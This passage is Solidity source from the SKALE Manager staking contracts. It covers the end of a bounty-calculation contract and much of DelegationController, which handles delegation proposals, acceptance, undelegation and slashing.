onlyOwner { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); TimeHelpers timeHelpers = TimeHelpers(contractManager.getTimeHelpers()); uint currentMonth = timeHelpers.getCurrentMonth(); // clean existing data for ( uint i = _effectiveDelegatedSum.firstUnprocessedMonth; i < _effectiveDelegatedSum.lastChangedMonth.add(1); ++i ) { delete _effectiveDelegatedSum.addDiff[i]; delete _effectiveDelegatedSum.subtractDiff[i]; } delete _effectiveDelegatedSum.value; delete _effectiveDelegatedSum.lastChangedMonth; _effectiveDelegatedSum.firstUnprocessedMonth = currentMonth; uint[] memory validators = validatorService.getTrustedValidators(); for (uint i = 0; i < validators.length; ++i) { uint validatorId = validators[i]; uint currentEffectiveDelegated = delegationController.getAndUpdateEffectiveDelegatedToValidator(validatorId, currentMonth); uint[] memory effectiveDelegated = delegationController.getEffectiveDelegatedValuesByValidator(validatorId); if (effectiveDelegated.length > 0) { assert(currentEffectiveDelegated == effectiveDelegated[0]); } uint added = 0; for (uint j = 0; j < effectiveDelegated.length; ++j) { if (effectiveDelegated[j] != added) { if (effectiveDelegated[j] > added) { _effectiveDelegatedSum.addToValue(effectiveDelegated[j].sub(added), currentMonth + j); } else { _effectiveDelegatedSum.subtractFromValue(added.sub(effectiveDelegated[j]), currentMonth + j); } added = effectiveDelegated[j]; } } delete effectiveDelegated; } } function estimateBounty(uint nodeIndex) external view returns (uint) { ConstantsHolder constantsHolder = ConstantsHolder(contractManager.getContract("ConstantsHolder")); Nodes nodes = Nodes(contractManager.getContract("Nodes")); TimeHelpers timeHelpers = TimeHelpers(contractManager.getContract("TimeHelpers")); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint currentMonth = timeHelpers.getCurrentMonth(); uint validatorId = nodes.getValidatorId(nodeIndex); uint stagePoolSize; (stagePoolSize, ) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); return _calculateMaximumBountyAmount( stagePoolSize, _effectiveDelegatedSum.getValue(currentMonth), _nextEpoch == currentMonth.add(1) ? _bountyWasPaidInCurrentEpoch : 0, nodeIndex, _getBountyPaid(validatorId, currentMonth), delegationController.getEffectiveDelegatedToValidator(validatorId, currentMonth), delegationController.getDelegatedToValidator(validatorId, currentMonth), constantsHolder, nodes ); } function getNextRewardTimestamp(uint nodeIndex) external view returns (uint) { return _getNextRewardTimestamp( nodeIndex, Nodes(contractManager.getContract("Nodes")), TimeHelpers(contractManager.getContract("TimeHelpers")) ); } function getEffectiveDelegatedSum() external view returns (uint[] memory) { return _effectiveDelegatedSum.getValues(); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _nextEpoch = 0; _epochPool = 0; _bountyWasPaidInCurrentEpoch = 0; bountyReduction = false; nodeCreationWindowSeconds = 3 * SECONDS_PER_DAY; } // private function _calculateMaximumBountyAmount( uint epochPoolSize, uint effectiveDelegatedSum, uint bountyWasPaidInCurrentEpoch, uint nodeIndex, uint bountyPaidToTheValidator, uint effectiveDelegated, uint delegated, ConstantsHolder constantsHolder, Nodes nodes ) private view returns (uint) { if (nodes.isNodeLeft(nodeIndex)) { return 0; } if (now < constantsHolder.launchTimestamp()) { // network is not launched // bounty is turned off return 0; } if (effectiveDelegatedSum == 0) { // no delegations in the system return 0; } if (constantsHolder.msr() == 0) { return 0; } uint bounty = _calculateBountyShare( epochPoolSize.add(bountyWasPaidInCurrentEpoch), effectiveDelegated, effectiveDelegatedSum, delegated.div(constantsHolder.msr()), bountyPaidToTheValidator ); return bounty; } function _calculateBountyShare( uint monthBounty, uint effectiveDelegated, uint effectiveDelegatedSum, uint maxNodesAmount, uint paidToValidator ) private pure returns (uint) { if (maxNodesAmount > 0) { uint totalBountyShare = monthBounty .mul(effectiveDelegated) .div(effectiveDelegatedSum); return _min( totalBountyShare.div(maxNodesAmount), totalBountyShare.sub(paidToValidator) ); } else { return 0; } } function _getFirstEpoch(TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private view returns (uint) { return timeHelpers.timestampToMonth(constantsHolder.launchTimestamp()); } function _getEpochPool( uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint epochPool, uint nextEpoch) { epochPool = _epochPool; for (nextEpoch = _nextEpoch; nextEpoch <= currentMonth; ++nextEpoch) { epochPool = epochPool.add(_getEpochReward(nextEpoch, timeHelpers, constantsHolder)); } } function _refillEpochPool(uint currentMonth, TimeHelpers timeHelpers, ConstantsHolder constantsHolder) private { uint epochPool; uint nextEpoch; (epochPool, nextEpoch) = _getEpochPool(currentMonth, timeHelpers, constantsHolder); if (_nextEpoch < nextEpoch) { (_epochPool, _nextEpoch) = (epochPool, nextEpoch); _bountyWasPaidInCurrentEpoch = 0; } } function _getEpochReward( uint epoch, TimeHelpers timeHelpers, ConstantsHolder constantsHolder ) private view returns (uint) { uint firstEpoch = _getFirstEpoch(timeHelpers, constantsHolder); if (epoch < firstEpoch) { return 0; } uint epochIndex = epoch.sub(firstEpoch); uint year = epochIndex.div(EPOCHS_PER_YEAR); if (year >= 6) { uint power = year.sub(6).div(3).add(1); if (power < 256) { return YEAR6_BOUNTY.div(2 ** power).div(EPOCHS_PER_YEAR); } else { return 0; } } else { uint[6] memory customBounties = [ YEAR1_BOUNTY, YEAR2_BOUNTY, YEAR3_BOUNTY, YEAR4_BOUNTY, YEAR5_BOUNTY, YEAR6_BOUNTY ]; return customBounties[year].div(EPOCHS_PER_YEAR); } } function _reduceBounty( uint bounty, uint nodeIndex, Nodes nodes, ConstantsHolder constants ) private returns (uint reducedBounty) { if (!bountyReduction) { return bounty; } reducedBounty = bounty; if (!nodes.checkPossibilityToMaintainNode(nodes.getValidatorId(nodeIndex), nodeIndex)) { reducedBounty = reducedBounty.div(constants.MSR_REDUCING_COEFFICIENT()); } } function _prepareBountyHistory(uint validatorId, uint currentMonth) private { if (_bountyHistory[validatorId].month < currentMonth) { _bountyHistory[validatorId].month = currentMonth; delete _bountyHistory[validatorId].bountyPaid; } } function _getBountyPaid(uint validatorId, uint month) private view returns (uint) { require(_bountyHistory[validatorId].month <= month, "Can't get bounty paid"); if (_bountyHistory[validatorId].month == month) { return _bountyHistory[validatorId].bountyPaid; } else { return 0; } } function _getNextRewardTimestamp(uint nodeIndex, Nodes nodes, TimeHelpers timeHelpers) private view returns (uint) { uint lastRewardTimestamp = nodes.getNodeLastRewardDate(nodeIndex); uint lastRewardMonth = timeHelpers.timestampToMonth(lastRewardTimestamp); uint lastRewardMonthStart = timeHelpers.monthToTimestamp(lastRewardMonth); uint timePassedAfterMonthStart = lastRewardTimestamp.sub(lastRewardMonthStart); uint currentMonth = timeHelpers.getCurrentMonth(); assert(lastRewardMonth <= currentMonth); if (lastRewardMonth == currentMonth) { uint nextMonthStart = timeHelpers.monthToTimestamp(currentMonth.add(1)); uint nextMonthFinish = timeHelpers.monthToTimestamp(lastRewardMonth.add(2)); if (lastRewardTimestamp < lastRewardMonthStart.add(nodeCreationWindowSeconds)) { return nextMonthStart.sub(BOUNTY_WINDOW_SECONDS); } else { return _min(nextMonthStart.add(timePassedAfterMonthStart), nextMonthFinish.sub(BOUNTY_WINDOW_SECONDS)); } } else if (lastRewardMonth.add(1) == currentMonth) { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); uint currentMonthFinish = timeHelpers.monthToTimestamp(currentMonth.add(1)); return _min( currentMonthStart.add(_max(timePassedAfterMonthStart, nodeCreationWindowSeconds)), currentMonthFinish.sub(BOUNTY_WINDOW_SECONDS) ); } else { uint currentMonthStart = timeHelpers.monthToTimestamp(currentMonth); return currentMonthStart.add(nodeCreationWindowSeconds); } } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } function _max(uint a, uint b) private pure returns (uint) { if (a < b) { return b; } else { return a; } } } // SPDX-License-Identifier: AGPL-3.0-only /* DelegationController.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol"; import "../BountyV2.sol"; import "../Nodes.sol"; import "../Permissions.sol"; import "../utils/FractionUtils.sol"; import "../utils/MathUtils.sol"; import "./DelegationPeriodManager.sol"; import "./PartialDifferences.sol"; import "./Punisher.sol"; import "./TokenState.sol"; import "./ValidatorService.sol"; /** * @title Delegation Controller * @dev This contract performs all delegation functions including delegation * requests, and undelegation, etc. * * Delegators and validators may both perform delegations. Validators who perform * delegations to themselves are effectively self-delegating or self-bonding. * * IMPORTANT: Undelegation may be requested at any time, but undelegation is only * performed at the completion of the current delegation period. * * Delegated tokens may be in one of several states: * * - PROPOSED: token holder proposes tokens to delegate to a validator. * - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation. * - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator. * - REJECTED: token proposal expires at the UTC start of the next month. * - DELEGATED: accepted delegations are delegated at the UTC start of the month. * - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator. * - COMPLETED: undelegation request is completed at the end of the delegation period. */ contract DelegationController is Permissions, ILocker { using MathUtils for uint; using PartialDifferences for PartialDifferences.Sequence; using PartialDifferences for PartialDifferences.Value; using FractionUtils for FractionUtils.Fraction; uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60; enum State { PROPOSED, ACCEPTED, CANCELED, REJECTED, DELEGATED, UNDELEGATION_REQUESTED, COMPLETED } struct Delegation { address holder; // address of token owner uint validatorId; uint amount; uint delegationPeriod; uint created; // time of delegation creation uint started; // month when a delegation becomes active uint finished; // first month after a delegation ends string info; } struct SlashingLogEvent { FractionUtils.Fraction reducingCoefficient; uint nextMonth; } struct SlashingLog { // month => slashing event mapping (uint => SlashingLogEvent) slashes; uint firstMonth; uint lastMonth; } struct DelegationExtras { uint lastSlashingMonthBeforeDelegation; } struct SlashingEvent { FractionUtils.Fraction reducingCoefficient; uint validatorId; uint month; } struct SlashingSignal { address holder; uint penalty; } struct LockedInPending { uint amount; uint month; } struct FirstDelegationMonth { // month uint value; //validatorId => month mapping (uint => uint) byValidator; } struct ValidatorsStatistics { // number of validators uint number; //validatorId => bool - is Delegated or not mapping (uint => uint) delegated; } /** * @dev Emitted when a delegation is proposed to a validator. */ event DelegationProposed( uint delegationId ); /** * @dev Emitted when a delegation is accepted by a validator. */ event DelegationAccepted( uint delegationId ); /** * @dev Emitted when a delegation is cancelled by the delegator. */ event DelegationRequestCanceledByUser( uint delegationId ); /** * @dev Emitted when a delegation is requested to undelegate. */ event UndelegationRequested( uint delegationId ); /// @dev delegations will never be deleted to index in this array may be used like delegation id Delegation[] public delegations; // validatorId => delegationId[] mapping (uint => uint[]) public delegationsByValidator; // holder => delegationId[] mapping (address => uint[]) public delegationsByHolder; // delegationId => extras mapping(uint => DelegationExtras) private _delegationExtras; // validatorId => sequence mapping (uint => PartialDifferences.Value) private _delegatedToValidator; // validatorId => sequence mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator; // validatorId => slashing log mapping (uint => SlashingLog) private _slashesOfValidator; // holder => sequence mapping (address => PartialDifferences.Value) private _delegatedByHolder; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator; // holder => validatorId => sequence mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator; SlashingEvent[] private _slashes; // holder => index in _slashes; mapping (address => uint) private _firstUnprocessedSlashByHolder; // holder => validatorId => month mapping (address => FirstDelegationMonth) private _firstDelegationMonth; // holder => locked in pending mapping (address => LockedInPending) private _lockedInPendingDelegations; mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator; /** * @dev Modifier to make a function callable only if delegation exists. */ modifier checkDelegationExists(uint delegationId) { require(delegationId < delegations.length, "Delegation does not exist"); _; } /** * @dev Update and return a validator's delegations. */ function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) { return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth()); } /** * @dev Update and return the amount delegated. */ function getAndUpdateDelegatedAmount(address holder) external returns (uint) { return _getAndUpdateDelegatedByHolder(holder); } /** * @dev Update and return the effective amount delegated (minus slash) for * the given month. */ function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external allow("Distributor") returns (uint effectiveDelegated) { SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder); effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId] .getAndUpdateValueInSequence(month); _sendSlashingSignals(slashingSignals); } /** * @dev Allows a token holder to create a delegation proposal of an `amount` * and `delegationPeriod` to a `validatorId`. Delegation must be accepted * by the validator before the UTC start of the month, otherwise the * delegation will be rejected. * * The token holder may add additional information in each proposal. * * Emits a {DelegationProposed} event. * * Requirements: * * - Holder must have sufficient delegatable tokens. * - Delegation must be above the validator's minimum delegation amount. * - Delegation period must be allowed. * - Validator must be authorized if trusted list is enabled. * - Validator must be accepting new delegation requests. */ function delegate( uint validatorId, uint amount, uint delegationPeriod, string calldata info ) external { require( _getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod), "This delegation period is not allowed"); _getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount); _checkIfDelegationIsAllowed(msg.sender, validatorId); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender); uint delegationId = _addDelegation( msg.sender, validatorId, amount, delegationPeriod, info); // check that there is enough money uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender); uint forbiddenForDelegation = TokenState(contractManager.getTokenState()) .getAndUpdateForbiddenForDelegationAmount(msg.sender); require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate"); emit DelegationProposed(delegationId); _sendSlashingSignals(slashingSignals); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows token holder to cancel a delegation proposal. * * Emits a {DelegationRequestCanceledByUser} event. * * Requirements: * * - `msg.sender` must be the token holder of the delegation proposal. * - Delegation state must be PROPOSED. */ function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request"); require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations"); delegations[delegationId].finished = _getCurrentMonth(); _subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); emit DelegationRequestCanceledByUser(delegationId); } /** * @dev Allows a validator to accept a proposed delegation. * Successful acceptance of delegations transition the tokens from a * PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the * delegation period. * * Emits a {DelegationAccepted} event. * * Requirements: * * - Validator must be recipient of proposal. * - Delegation state must be PROPOSED. */ function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) { require( _getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId), "No permissions to accept request"); _accept(delegationId); } /** * @dev Allows delegator to undelegate a specific delegation. * * Emits UndelegationRequested event. * * Requirements: * * - `msg.sender` must be the delegator. * - Delegation state must be DELEGATED. */ function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) { require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation"); ValidatorService validatorService = _getValidatorService(); require( delegations[delegationId].holder == msg.sender || (validatorService.validatorAddressExists(msg.sender) && delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)), "Permission denied to request undelegation"); _removeValidatorFromValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId); processAllSlashes(msg.sender); delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId); require( now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS) < _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished), "Undelegation requests must be sent 3 days before the end of delegation period" ); _subtractFromAllStatistics(delegationId); emit UndelegationRequested(delegationId); } /** * @dev Allows Punisher contract to slash an `amount` of stake from * a validator. This slashes an amount of delegations of the validator, * which reduces the amount that the validator has staked. This consequence * may force the SKALE Manager to reduce the number of nodes a validator is * operating so the validator can meet the Minimum Staking Requirement. * * Emits a {SlashingEvent}. * * See {Punisher}. */ function confiscate(uint validatorId, uint amount) external allow("Punisher") { uint currentMonth = _getCurrentMonth(); FractionUtils.Fraction memory coefficient = _delegatedToValidator[validatorId].reduceValue(amount, currentMonth); uint initialEffectiveDelegated = _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth); uint[] memory initialSubtractions = new uint[](0); if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) { initialSubtractions = new uint[]( _effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth) ); for (uint i = 0; i < initialSubtractions.length; ++i) { initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId] .subtractDiff[currentMonth.add(i).add(1)]; } } _effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth); _putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth); _slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth})); BountyV2 bounty = _getBounty(); bounty.handleDelegationRemoving( initialEffectiveDelegated.sub( _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth) ), currentMonth ); for (uint i = 0; i < initialSubtractions.length; ++i) { bounty.handleDelegationAdd( initialSubtractions[i].sub( _effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)] ), currentMonth.add(i).add(1) ); } } /** * @dev Allows Distributor contract to return and update the effective * amount delegated (minus slash) to a validator for a given month. */ function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month) external allowTwo("Bounty", "Distributor") returns (uint) { return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month); } /** * @dev Return and update the amount delegated to a validator for the * current month. */ function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) { return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth()); } function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) { return _effectiveDelegatedToValidator[validatorId].getValuesInSequence(); } function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month); } function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) { return _delegatedToValidator[validatorId].getValue(month); } /** * @dev Return Delegation struct. */ function getDelegation(uint delegationId) external view checkDelegationExists(delegationId) returns (Delegation memory) { return delegations[delegationId]; } /** * @dev Returns the first delegation month. */ function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) { return _firstDelegationMonth[holder].byValidator[validatorId]; } /** * @dev Returns a validator's total number of delegations. */ function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) { return delegationsByValidator[validatorId].length; } /** * @dev Returns a holder's total number of delegations. */ function getDelegationsByHolderLength(address holder) external view returns (uint) { return delegationsByHolder[holder].length; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } /** * @dev Process slashes up to the given limit. */ function processSlashes(address holder, uint limit) public { _sendSlashingSignals(_processSlashesWithoutSignals(holder, limit)); } /** * @dev Process all slashes. */ function processAllSlashes(address holder) public { processSlashes(holder, 0); } /** * @dev Returns the token state of a given delegation. */ function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) { if (delegations[delegationId].started == 0) { if (delegations[delegationId].finished == 0) { if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) { return State.PROPOSED; } else { return State.REJECTED; } } else { return State.CANCELED; } } else { if (_getCurrentMonth() < delegations[delegationId].started) { return State.ACCEPTED; } else { if (delegations[delegationId].finished == 0) { return State.DELEGATED; } else { if (_getCurrentMonth() < delegations[delegationId].finished) { return State.UNDELEGATION_REQUESTED; } else { return State.COMPLETED; } } } } } /** * @dev Returns the amount of tokens in PENDING delegation state. */ function getLockedInPendingDelegations(address holder) public view returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { return 0; } else { return _lockedInPendingDelegations[holder].amount; } } /** * @dev Checks whether there are any unprocessed slashes. */ function hasUnprocessedSlashes(address holder) public view returns (bool) { return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length; } // private /** * @dev Allows Nodes contract to get and update the amount delegated * to validator for a given month. */ function _getAndUpdateDelegatedToValidator(uint validatorId, uint month) private returns (uint) { return _delegatedToValidator[validatorId].getAndUpdateValue(month); } /** * @dev Adds a new delegation proposal. */ function _addDelegation( address holder, uint validatorId, uint amount, uint delegationPeriod, string memory info ) private returns (uint delegationId) { delegationId = delegations.length; delegations.push(Delegation( holder, validatorId, amount, delegationPeriod, now, 0, 0, info )); delegationsByValidator[validatorId].push(delegationId); delegationsByHolder[holder].push(delegationId); _addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount); } /** * @dev Returns the month when a delegation ends. */ function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) { uint currentMonth = _getCurrentMonth(); uint started = delegations[delegationId].started; if (currentMonth < started) { return started.add(delegations[delegationId].delegationPeriod); } else { uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod); return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod)); } } function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].addToValue(amount, month); } function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month); } function _addToDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].addToValue(amount, month); } function _addToDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month); } function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1); } function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private { _delegatedByHolder[holder].subtractFromValue(amount, month); } function _removeFromDelegatedByHolderToValidator( address holder, uint validatorId, uint amount, uint month) private { _delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month); } function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private { if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) { _numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1); } _numberOfValidatorsPerDelegator[holder]. delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1); } function _addToEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month); } function _removeFromEffectiveDelegatedByHolderToValidator( address holder, uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month); } function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) { uint currentMonth = _getCurrentMonth(); processAllSlashes(holder); return _delegatedByHolder[holder].getAndUpdateValue(currentMonth); } function _getAndUpdateDelegatedByHolderToValidator( address holder, uint validatorId, uint month) private returns (uint) { return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month); } function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); if (_lockedInPendingDelegations[holder].month < currentMonth) { _lockedInPendingDelegations[holder].amount = amount; _lockedInPendingDelegations[holder].month = currentMonth; } else { assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount); } } function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) { uint currentMonth = _getCurrentMonth(); assert(_lockedInPendingDelegations[holder].month == currentMonth); _lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount); } function _getCurrentMonth() private view returns (uint) { return _getTimeHelpers().getCurrentMonth(); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet)); } function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private { if (_firstDelegationMonth[holder].value == 0) { _firstDelegationMonth[holder].value = month; _firstUnprocessedSlashByHolder[holder] = _slashes.length; } if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) { _firstDelegationMonth[holder].byValidator[validatorId] = month; } } /** * @dev Checks whether the holder has performed a delegation. */ function _everDelegated(address holder) private view returns (bool) { return _firstDelegationMonth[holder].value > 0; } function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private { _delegatedToValidator[validatorId].subtractFromValue(amount, month); } function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private { _effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month); } /** * @dev Returns the delegated amount after a slashing event. */ function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) { uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation; uint validatorId = delegations[delegationId].validatorId; uint amount = delegations[delegationId].amount; if (startMonth == 0) { startMonth = _slashesOfValidator[validatorId].firstMonth; if (startMonth == 0) { return amount; } } for (uint i = startMonth; i > 0 && i < delegations[delegationId].finished; i = _slashesOfValidator[validatorId].slashes[i].nextMonth) { if (i >= delegations[delegationId].started) { amount = amount .mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator) .div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator); } } return amount; } function _putToSlashingLog( SlashingLog storage log, FractionUtils.Fraction memory coefficient, uint month) private { if (log.firstMonth == 0) { log.firstMonth = month; log.lastMonth = month; log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; } else { require(log.lastMonth <= month, "Cannot put slashing event in the past"); if (log.lastMonth == month) { log.slashes[month].reducingCoefficient = log.slashes[month].reducingCoefficient.multiplyFraction(coefficient); } else { log.slashes[month].reducingCoefficient = coefficient; log.slashes[month].nextMonth = 0; log.slashes[log.lastMonth].nextMonth = month; log.lastMonth = month; } } } function _processSlashesWithoutSignals(address holder, uint limit) private returns (SlashingSignal[] memory slashingSignals) { if (hasUnprocessedSlashes(holder)) { uint index = _firstUnprocessedSlashByHolder[holder]; uint end = _slashes.length; if (limit > 0 && index.add(limit) < end) { end = index.add(limit); } slashingSignals = new SlashingSignal[](end.sub(index)); uint begin = index; for (; index < end; ++index) { uint validatorId = _slashes[index].validatorId; uint month = _slashes[index].month; uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month); if (oldValue.muchGreater(0)) { _delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum( _delegatedByHolder[holder], _slashes[index].reducingCoefficient, month); _effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence( _slashes[index].reducingCoefficient, month); slashingSignals[index.sub(begin)].holder = holder; slashingSignals[index.sub(begin)].penalty = oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month)); } } _firstUnprocessedSlashByHolder[holder] = end; } } function _processAllSlashesWithoutSignals(address holder) private returns (SlashingSignal[] memory slashingSignals) { return _processSlashesWithoutSignals(holder, 0); } function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private { Punisher punisher = Punisher(contractManager.getPunisher()); address previousHolder = address(0); uint accumulatedPenalty = 0; for (uint i = 0; i < slashingSignals.length; ++i) { if (slashingSignals[i].holder != previousHolder) { if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } previousHolder = slashingSignals[i].holder; accumulatedPenalty = slashingSignals[i].penalty; } else { accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty); } } if (accumulatedPenalty > 0) { punisher.handleSlash(previousHolder, accumulatedPenalty); } } function _addToAllStatistics(uint delegationId) private { uint currentMonth = _getCurrentMonth(); delegations[delegationId].started = currentMonth.add(1); if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) { _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation = _slashesOfValidator[delegations[delegationId].validatorId].lastMonth; } _addToDelegatedToValidator( delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolder( delegations[delegationId].holder, delegations[delegationId].amount, currentMonth.add(1)); _addToDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, delegations[delegationId].amount, currentMonth.add(1)); 